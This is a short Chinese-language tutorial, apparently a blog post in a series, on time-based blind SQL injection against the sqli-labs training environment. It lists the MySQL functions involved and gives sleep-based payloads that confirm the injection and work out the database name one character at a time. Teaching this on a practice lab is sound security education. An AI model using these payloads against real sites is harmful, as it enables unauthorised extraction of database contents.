1. 程式人生 > 其它 >時間盲注

時間盲注

技術標籤:滲透測試學習SQL注入

前幾篇sql注入文章

sqli-labs Less-1(聯合注入、字元型注入)

sqli-labs Less-2(聯合注入、整形型注入)

sqli-labs Less-3(聯合注入、字元型注入)

sqli-labs Less-4(聯合注入、字元型注入)

sqli-labs Less-5(利用extractvalue進行報錯注入)

sqli-labs Less-5(雙注入)

sqli-labs Less-5(布林盲注)

時間盲注常用函式

sleep()                             //延遲函式
if(condition,true,false)
//條件語句 ascii() //轉換成ascii碼 substring("string",strart,length) //mid()也一樣,取出字串裡的第幾位開始,長度多少的字元

1、判斷是否存在延時注入
payload

?id=1" and sleep(5)--+

在這裡插入圖片描述
當頁面延時返回時,代表存在時間盲注。
2、判斷當前資料庫名
payload

?id=1" and if(substr(database(),1,1)>'a',sleep(5),1)--+
?id=1"
and if(ascii(substr(database(),1,1))>97,sleep(5),1)--+

接著利用二分法判斷出資料庫名。
主要方法與布林盲注類似。